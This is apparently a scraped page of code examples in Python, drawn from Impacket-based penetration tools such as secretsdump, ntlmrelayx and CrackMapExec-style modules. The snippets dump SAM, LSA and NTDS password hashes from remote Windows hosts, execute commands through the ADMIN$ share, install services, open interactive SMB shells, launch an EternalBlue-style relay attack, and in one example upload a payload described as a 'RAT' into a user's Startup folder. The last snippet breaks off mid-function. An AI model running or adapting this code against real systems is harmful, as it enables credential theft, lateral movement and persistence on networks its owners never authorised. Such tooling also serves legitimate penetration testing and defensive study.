Exemple #1
0
    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)

            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, self.host))
                SAM.dump()
                SAM.export(outfile)
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([self.host, self.ip, "SAM HASH", '{} hashes added to the database'.format(add_sam_hash.added_to_db)])
            self.logger.info([self.host, self.ip, "SAM HASH", 'Output saved to: {}.sam'.format(outfile)])

        try:
            self.remote_ops.finish()
        except Exception as e:
            self.logger.debug(["SAM", "Error calling remote_ops.finish(): {}".format(e)])
        SAM.finish()
Exemple #2
0
    def sam(self):
        self.enable_remoteops()

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_sam_hash(sam_hash, host_id):
            add_sam_hash.sam_hashes += 1
            self.logger.highlight(sam_hash)
            username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
            self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
        add_sam_hash.sam_hashes = 0

        if self.remote_ops and self.bootkey:
            #try:
            SAMFileName = self.remote_ops.saveSAM()
            SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))

            self.logger.success('Dumping SAM hashes')
            SAM.dump()
            SAM.export(self.output_filename)

            self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))

            #except Exception as e:
                #self.logger.error('SAM hashes extraction failed: {}'.format(e))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            SAM.finish()
Exemple #3
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port)
            # Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes

            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ""
                    self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer)
                    self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output")
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes")
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
Exemple #4
0
def main(sysF, samF):
    bootkey = getBootKey(sysF)

    #Borrowed code from https://github.com/byt3bl33d3r/CrackMapExec/blob/48fd338d228f6589928d5e7922df4c7cd240a287/cme/protocols/smb.py#L816
    #Changed to save the hashes as a JSON object as this will be needed for our Golang structs
    def print_sam_hash(sam_hash):
        print_sam_hash.sam_hashes += 1
        username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
        hash_dict = {'Username': username, 'NTLM': lmhash + ':' + nthash}
        print(json.dumps(hash_dict))

    print_sam_hash.sam_hashes = 0

    SAM = SAMHashes(samF,
                    bootkey,
                    isRemote=False,
                    perSecretCallback=lambda secret: print_sam_hash(secret))
    SAM.dump()
Exemple #5
0
    def sam(self):
        try:
            self.enable_remoteops()

            def add_sam_hash(sam_hash, host_id):
                self.logger.success(
                    [self.host, highlight("SAM HASH"), sam_hash])
                username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
                self.db.update_user(username, '', host_id,
                                    "{}:{}".format(lmhash, nthash))

            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()

        except Exception as e:
            self.logger.fail('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))
            try:
                self.remote_ops.finish()
            except Exception as e:
                self.logger.debug(
                    "Error calling remote_ops.finish() for {}: {}".format(
                        self.host, str(e)))
        SAM.finish()
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            logging.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags(
                )
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    logging.info("Executed specified command on host: %s",
                                 self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding,
                                                  'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s",
                                 self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
Exemple #7
0
    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host,
                                "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([
                self.host, self.ip, "SAM HASH",
                '{} NTLM hashes added to the database'.format(
                    add_sam_hash.added_to_db)
            ])

        try:
            self.remote_ops.finish()
            SAM.finish()
        except Exception as e:
            self.logger.debug(
                ["SAM", "Error calling remote_ops.finish(): {}".format(e)])
Exemple #8
0
    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                localOperations = LocalOperations(self.__systemHive)
                bootKey = localOperations.getBootKey()
                if self.__ntdsFile is not None:
                    # Let's grab target's configuration about LM Hashes storage
                    self.__noLMHash = localOperations.checkNoLMHashPolicy()
            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except:
                        if os.getenv(
                                'KRB5CCNAME'
                        ) is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug(
                                'SMBConnection didn\'t work, hoping Kerberos will help'
                            )
                            pass
                        else:
                            raise

                    self.__remoteOps = RemoteOperations(
                        self.__smbConnection, self.__doKerberos,
                        self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__execMethod)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy(
                        )
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error(
                            'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user'
                        )
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName = self.__samHive

                    self.__SAMHashes = SAMHashes(
                        SAMFileName,
                        bootKey,
                        isRemote=self.__isRemote,
                        perSecretCallback=self.perSecretCallback1)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(
                        SECURITYFileName,
                        bootKey,
                        self.__remoteOps,
                        isRemote=self.__isRemote,
                        history=self.__history,
                        perSecretCallback=self.perSecretCallback2)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    logging.error('LSA hashes extraction failed: %s' % str(e),
                                  exc_info=True)

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(
                NTDSFileName,
                bootKey,
                isRemote=self.__isRemote,
                history=self.__history,
                noLMHash=self.__noLMHash,
                remoteOps=self.__remoteOps,
                useVSSMethod=self.__useVSSMethod,
                justNTLM=self.__justDCNTLM,
                pwdLastSet=self.__pwdLastSet,
                resumeSession=self.__resumeFileName,
                outputFileName=self.__outputFileName,
                justUser=self.__justUser,
                printUserStatus=self.__printUserStatus,
                perSecretCallback=self.perSecretCallback2)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e, exc_info=True)
                if self.__justUser and str(e).find(
                        "ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
                    logging.info(
                        "You just got that error because there might be some duplicates of the same name. "
                        "Try specifying the domain name for the user as well. It is important to specify it "
                        "in the form of NetBIOS domain name/user (e.g. contoso/Administratror)."
                    )
                elif self.__useVSSMethod is False:
                    logging.info(
                        'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter'
                    )
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            logging.error(e, exc_info=True)
            try:
                self.cleanup()
            except:
                pass
Exemple #9
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]
    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
Exemple #10
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins, EnumShares, EnumSessions, EternalRelay  # Import EnumShares

            samHashes = None

            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()

            except Exception as e:

                if "rpc_s_access_denied" in str(
                        e
                ):  # user doesn't have correct privileges, fall back to available non-Admin options

                    ### EternalRelayAttack START ###

                    if self.config.eternalRelayScanner:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to scan {} for ETERNALBLUE vulnerability detection... "
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding),
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        eternalRelayScanner = EternalRelay(
                            self.__SMBConnection)

                        try:
                            eternalRelayScanner.EternalBlueScanner()
                            print('')

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                        return

                    if self.config.eternalRelayAttack:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting EternalRelay attack against {}... "
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding),
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        eternalRelayAttack = EternalRelay(self.__SMBConnection)

                        try:
                            eternalRelayAttack.EternalBlueAttack()
                            print('')

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                        return

                    ### EternalRelayAttack END###

                    ### EnumShares START ###
                    if self.config.enumShares:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to enumerate SMB shares with relayed credentials... "
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        enumSmbShares = EnumShares(self.__SMBConnection)

                        try:
                            share_names = enumSmbShares.getShareNames()
                            LOG.info(
                                "Host {} has the following SMB shares available"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))

                            for name in share_names:
                                LOG.info("- {}".format(name))

                            print('')

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                        return

                    ### EnumShares END ###

                    ### EnumLocalAdmins START ###
                    if self.config.enumLocalAdmins:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to enumerate users who do..."
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins(
                            )
                            LOG.info(
                                "Host {} has the following local admins (hint: try relaying one of them here...)"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(
                                    "Host {} local admin member: {} ".format(
                                        self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding), name))

                        except DCERPCException:
                            LOG.info("SAMR access denied")

                    ### EnumLocalAdmins END ###
                        return

                # Something else went wrong. aborting
                LOG.error(str(e))

                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    LOG.info("Executed specified command on host: %s",
                             self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(
                        self.__answerTMP.decode(self.config.encoding,
                                                'replace'))
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s",
                             self.__SMBConnection.getRemoteHost())

            except Exception as e:
                LOG.error(str(e))

            finally:
                if samHashes is not None:
                    samHashes.finish()
                if remoteOps is not None:
                    remoteOps.finish()
Exemple #11
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.config.gPotatoStartUp is not None:
            with open(self.config.gPotatoStartUp, 'rb') as f:
                try:
                    startup_users_path = '/%s/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/%s' % (
                        self.username, self.config.gPotatoStartUp)
                    self.__SMBConnection.putFile('Users', startup_users_path,
                                                 f.read)
                    print(
                        '[GPOTATO] Uploaded payload to user startup folder via User share'
                    )
                    return
                except Exception as e:
                    print(
                        '[GPOTATO] Dropping RAT to startup folder using User share failed: %s'
                        % str(e))

                try:
                    startup_admin_path = '/Users/%s/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/%s' % (
                        self.username, self.config.gPotatoStartUp)
                    self.__SMBConnection.putFile('C$', startup_admin_path,
                                                 f.read)
                    print(
                        '[GPOTATO] Uploaded payload to user startup folder via C$ share'
                    )
                    return
                except Exception as e:
                    print(
                        '[GPOTATO] Dropping RAT to startup folder using C$ share failed: %s'
                        % str(e))

        if self.tcpshell is not None:
            LOG.info(
                'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
                % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,
                                           self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer(
                    ).get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(
                        flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception as e:
                if "rpc_s_access_denied" in str(
                        e):  # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(
                            "Relayed user doesn't have admin on {}. Attempting to enumerate users who do..."
                            .format(
                                self.__SMBConnection.getRemoteHost().encode(
                                    self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins(
                            )
                            LOG.info(
                                "Host {} has the following local admins (hint: try relaying one of them here...)"
                                .format(self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(
                                    "Host {} local admin member: {} ".format(
                                        self.__SMBConnection.getRemoteHost().
                                        encode(self.config.encoding), name))
                        except DCERPCException:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(
                        self.config.command)
                    LOG.info("Executed specified command on host: %s",
                             self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
                                                 self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(
                        self.__answerTMP.decode(self.config.encoding,
                                                'replace'))
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() +
                                     '_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s",
                             self.__SMBConnection.getRemoteHost())
            except Exception as e:
                LOG.error(str(e))
            finally:
                if samHashes is not None:
                    samHashes.finish()
                if remoteOps is not None:
                    remoteOps.finish()
Exemple #12
0
class DumpSecrets:
    def __init__(self,
                 remote_name,
                 username="",
                 password="",
                 domain="",
                 options=None):
        self.__use_VSS_method = options.use_vss
        self.__remote_name = remote_name
        self.__remote_host = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ""
        self.__nthash = ""
        self.__smb_connection = None
        self.__remote_ops = None
        self.__SAM_hashes = None
        self.__NTDS_hashes = None
        self.__LSA_secrets = None
        self.__system_hive = options.system
        self.__bootkey = options.bootkey
        self.__security_hive = options.security
        self.__sam_hive = options.sam
        self.__ntds_file = options.ntds
        self.__no_lmhash = options.no_lmhash
        self.__is_remote = options.is_remote
        self.__do_kerberos = options.k
        self.__just_DC = options.just_dc
        self.__just_DC_NTLM = options.just_dc_ntlm
        self.__can_process_SAM_LSA = options.can_process_SAM_LSA
        self.__kdc_host = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(":")

    def connect(self):
        self.__smb_connection = SMBConnection(self.__remote_name,
                                              self.__remote_host)
        self.__smb_connection.login(
            self.__username,
            self.__password,
            self.__domain,
            self.__lmhash,
            self.__nthash,
        )

    def dump(self):  # noqa: C901
        with StdoutCapture() as output_captor:
            dumped_secrets = ""

            try:
                if self.__remote_name.upper(
                ) == "LOCAL" and self.__username == "":
                    self.__is_remote = False
                    self.__use_VSS_method = True
                    if self.__system_hive:
                        local_operations = LocalOperations(self.__system_hive)
                        bootkey = local_operations.getBootKey()
                        if self.__ntds_file is not None:
                            # Let's grab target's configuration about LM Hashes storage.
                            self.__no_lmhash = local_operations.checkNoLMHashPolicy(
                            )
                    else:
                        import binascii

                        bootkey = binascii.unhexlify(self.__bootkey)

                else:
                    self.__is_remote = True
                    bootkey = None
                    try:
                        try:
                            self.connect()
                        except Exception as e:
                            if os.getenv(
                                    "KRB5CCNAME"
                            ) is not None and self.__do_kerberos is True:
                                # SMBConnection failed. That might be because there was no way to
                                # log into the
                                # target system. We just have a last resort. Hope we have tickets
                                # cached and that they
                                # will work
                                logger.debug(
                                    "SMBConnection didn't work, hoping Kerberos will help (%s)"
                                    % str(e))
                            else:
                                raise

                        self.__remote_ops = RemoteOperations(
                            self.__smb_connection, self.__do_kerberos,
                            self.__kdc_host)
                        self.__remote_ops.setExecMethod(
                            self.__options.exec_method)
                        if (self.__just_DC is False
                                and self.__just_DC_NTLM is False
                                or self.__use_VSS_method is True):
                            self.__remote_ops.enableRegistry()
                            bootkey = self.__remote_ops.getBootKey()
                            # Let's check whether target system stores LM Hashes.
                            self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy(
                            )
                    except Exception as e:
                        self.__can_process_SAM_LSA = False
                        if (str(e).find("STATUS_USER_SESSION_DELETED")
                                and os.getenv("KRB5CCNAME") is not None
                                and self.__do_kerberos is True):
                            # Giving some hints here when SPN target name validation is set to
                            # something different to Off.
                            # This will prevent establishing SMB connections using TGS for SPNs
                            # different to cifs/.
                            logger.error(
                                "Policy SPN target name validation might be restricting full "
                                "DRSUAPI dump." + "Try -just-dc-user")
                        else:
                            logger.error("RemoteOperations failed: %s" %
                                         str(e))

                # If RemoteOperations succeeded, then we can extract SAM and LSA.
                if (self.__just_DC is False and self.__just_DC_NTLM is False
                        and self.__can_process_SAM_LSA):
                    try:
                        if self.__is_remote is True:
                            SAM_file_name = self.__remote_ops.saveSAM()
                        else:
                            SAM_file_name = self.__sam_hive

                        self.__SAM_hashes = SAMHashes(
                            SAM_file_name, bootkey, isRemote=self.__is_remote)
                        self.__SAM_hashes.dump()
                    except Exception as e:
                        logger.error("SAM hashes extraction failed: %s" %
                                     str(e))

                    try:
                        if self.__is_remote is True:
                            SECURITY_file_name = self.__remote_ops.saveSECURITY(
                            )
                        else:
                            SECURITY_file_name = self.__security_hive

                        self.__LSA_secrets = LSASecrets(
                            SECURITY_file_name,
                            bootkey,
                            self.__remote_ops,
                            isRemote=self.__is_remote,
                        )
                        self.__LSA_secrets.dumpCachedHashes()
                        self.__LSA_secrets.dumpSecrets()
                    except Exception as e:
                        logger.debug(traceback.print_exc())
                        logger.error("LSA hashes extraction failed: %s" %
                                     str(e))

                # NTDS Extraction we can try regardless of RemoteOperations failing. It might
                # still work.
                if self.__is_remote is True:
                    if self.__use_VSS_method and self.__remote_ops is not None:
